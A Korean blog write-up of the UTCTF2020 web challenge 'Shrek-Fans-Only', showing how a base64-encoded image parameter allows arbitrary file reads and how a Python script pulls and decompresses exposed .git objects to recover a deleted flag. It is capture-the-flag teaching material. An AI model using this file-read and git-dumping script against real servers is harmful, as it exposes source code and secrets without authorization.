Jaeseo's Information Security Story

UTCTF2020 - [WEB]Shrek-Fans-Only 본문

Write UP/UTCTF2020

UTCTF2020 - [WEB]Shrek-Fans-Only

Jaeseokim 2020. 3. 9. 16:36

[WEB]Shrek-Fans-Only

일단 문제 웹사이트로 접근을 합니다.

문제의 사이트를 보면 위와 같은 형태의 모습을 보이고 있습니다.

<!DOCTYPE HTML>
<html>
<head>
<title>Shrek Fanclub</title>
</head>
<body>
<h1>What are you doing in my swamp?</h1>
<img src="getimg.php?img=aW1nMS5qcGc%3D">
<div>There used to be something here but Donkey won't leave me alone<div>
</body>
</html>

이때 소스를 보면 IMG의 소스가 PHP에 파라미터를 넘기고 그에 따른 값을 받아 보여 주는 것을 볼 수 있습니다.

적혀있는 문자는 Base64로 의심이 되는되 Decoding를 해봅니다.

img1.jpg 라는 형태가 나옵니다.

이부분을 이용하여 LEEEKK를 하면 될 것 같습니다.

서버내부의 파일을 계속 돌아다니면서 탐사를 하다 error.log에 대해 확인을 하게 되었는데 .git 폴더에 대해 403 권한부족에 대해 에러가 발생하는 것을 보고 .git 폴더에 있는 파일에 접근 해봤습니다.

그러자 결과 값이 출력이 되어 있는 것을 확인을 했고 문제에서 중요한(FLAG) 정보를 지웠고 그것을 Commit 했다고 하니 git 오브젝트에 대해 탐색을 하여 찾아야 하는 것으로 파악을 했습니다.

git-내부-구조를-알아보자-1-기본-오브젝트 이 글을 참고 하여 공부를 하고 GIT 오브젝트는 기본적으로 zlib 로 압축 되어 내용을 가지고 있는 BLOB 파일 그리고 파일의 이름과 BLOB오브젝트의 해쉬값을 가지고 있는 TREE 파일로 구현되어 있다는 것을 알게 되었습니다.

이제 그러면 commit 기록에 대해 찾아 봤는데 commit 정보에 대한 파일은 .git/logs/HEAD 파일에 있다는 것을 확인 하고 값을 확인 했습니다.

0000000000000000000000000000000000000000 759be945739b04b63a09e7c02d51567501ead033 Shrek <shrek@shrek.com> 1583366532 +0000    commit (initial): initial commit
759be945739b04b63a09e7c02d51567501ead033 976b625888ae0d9ee9543f025254f71e10b7bcf8 Shrek <shrek@shrek.com> 1583366704 +0000    commit: remove flag
976b625888ae0d9ee9543f025254f71e10b7bcf8 d421c6aa97e8b8a60d330336ec1e829c8ffd7199 Shrek <shrek@shrek.com> 1583367714 +0000    commit: added more stuff
d421c6aa97e8b8a60d330336ec1e829c8ffd7199 759be945739b04b63a09e7c02d51567501ead033 Shrek <shrek@shrek.com> 1583367723 +0000    checkout: moving from master to 759be945739b04b63a09e7c02d51567501ead033
759be945739b04b63a09e7c02d51567501ead033 d421c6aa97e8b8a60d330336ec1e829c8ffd7199 Shrek <shrek@shrek.com> 1583367740 +0000    checkout: moving from 759be945739b04b63a09e7c02d51567501ead033 to master

확인을 해본 결과 위와 같이 중간에 remove flag를 한부분이 보이고 그정보를 담고 있는 TREE 파일의 해쉬값을 알려주는 것을 볼 수 있었습니다. 759be945739b04b63a09e7c02d51567501ead033

이제 경로를 .git/objects/75/9be945739b04b63a09e7c02d51567501ead033 로 하여 탐색을 했습니다.

이떄 base64 Decoding과정과 나온 response 결과값을 zlib로 decompress 과정도 진행하는 스크립트를 작성했습니다.

import requests
import zlib
import base64

url = "http://3.91.17.218/getimg.php?img="

hashValue = input("hash.... : ")

decompressed_contents = ""

getValue = ".git/objects/"+hashValue[:2]+"/"+hashValue[2:]

response = requests.get(url+(base64.b64encode(getValue.encode())).decode())
try:
  decompressed_contents = zlib.decompress(response.content)
except Exception as e:
  print("BAD HASH VALUE\n","ERROR:",e)
  exit(1)

print("TEXT "*5,"\n")
try:
  print(decompressed_contents.decode("ascii"))
except Exception as e:
  print(decompressed_contents)

print("HEX "*5,"\n")
print(decompressed_contents.hex())

COMMIT 기록에 대해 확인 해 본 결과

hash.... : 759be945739b04b63a09e7c02d51567501ead033
TEXT TEXT TEXT TEXT TEXT

commit 161 tree aeeea4cfa5afa4dcb70e1d6109790377e7bcec4d
author Shrek <shrek@shrek.com> 1583366532 +0000
committer Shrek <shrek@shrek.com> 1583366532 +0000

이런 형태로 다시한번 tree 파일의 hash 값을 알려 주는 모습을 볼 수 있었습니다.

hash.... : aeeea4cfa5afa4dcb70e1d6109790377e7bcec4d
TEXT TEXT TEXT TEXT TEXT

b'tree 113\x00100644 img1.jpg\x00\x0e\x81\x04\xf5\x1d\xb8\xf9\xee\x08\xf0\x96fV\xa3\xc20~l\xde\\100644 imgproxy.php\x00l\xfd4\xf3?\x97Lu\x1e\xdc3D\x1b\x11\xd68\xf8K\x15!100644 index.php\x00ex\xc6/\xa2H\xd0x\xff\xc5Q@\\\x97\x00\xe3\xcc\xc9\xf5\xb3'
HEX HEX HEX HEX HEX

74726565203131330031303036343420696d67312e6a7067000e8104f51db8f9ee08f0966656a3c2307e6cde5c31303036343420696d6770726f78792e706870006cfd34f33f974c751edc33441b11d638f84b152131303036343420696e6465782e706870006578c62fa248d078ffc551405c9700e3ccc9f5b3

다시 한번 결과 값을 확인 해봤습니다.

이번에는 ascii나 utf-8로 decoding이 실패해서 byte로 보이는데 일단 index.php다음의 바이트가 \x00 이기때문에 그다음의 값을 hex 값으로 확인 해보면 길이 40의 HASH가 보이는 것을 확인 할 수 있습니다.

print(b"ex\xc6/\xa2H\xd0x\xff\xc5Q@\\\x97\x00\xe3\xcc\xc9\xf5\xb3".hex())

---

6578c62fa248d078ffc551405c9700e3ccc9f5b3

이제 index.php의 blob 파일을 찾아보면 아래의 결과가 보입니다.

hash.... : 6578c62fa248d078ffc551405c9700e3ccc9f5b3
TEXT TEXT TEXT TEXT TEXT  

blob 223 <!DOCTYPE HTML>
<html>
<head>
<title>Shrek Fanclub</title>
</head>
<body>
<h1>What are you doing in my swamp?</h1>
<img src="imgproxy.php?img=img1.jpg">
<div>utflag{honey_i_shrunk_the_kids_HxSvO3jgkj}</div>
</body>
</html>

HEX HEX HEX HEX HEX

626c6f6220323233003c21444f43545950452048544d4c3e0a3c68746d6c3e0a3c686561643e0a3c7469746c653e536872656b2046616e636c75623c2f7469746c653e0a3c2f686561643e0a3c626f64793e0a3c68313e576861742061726520796f7520646f696e6720696e206d79207377616d703f3c2f68313e0a3c696d67207372633d22696d6770726f78792e7068703f696d673d696d67312e6a7067223e0a3c6469763e7574666c61677b686f6e65795f695f736872756e6b5f7468655f6b6964735f487853764f336a676b6a7d3c2f6469763e0a3c2f626f64793e0a3c2f68746d6c3e0a

utflag{honey_i_shrunk_the_kids_HxSvO3jgkj}

'Write UP > UTCTF2020' 카테고리의 다른 글

UTCTF2020 - [NETWORKING]Nittaku-3-Star-Premium  (0) 2020.03.09
UTCTF2020 - [NETWORKING]Do-Not-Stop  (0) 2020.03.09
UTCTF2020 - [WEB] spooky-store  (0) 2020.03.09
Comments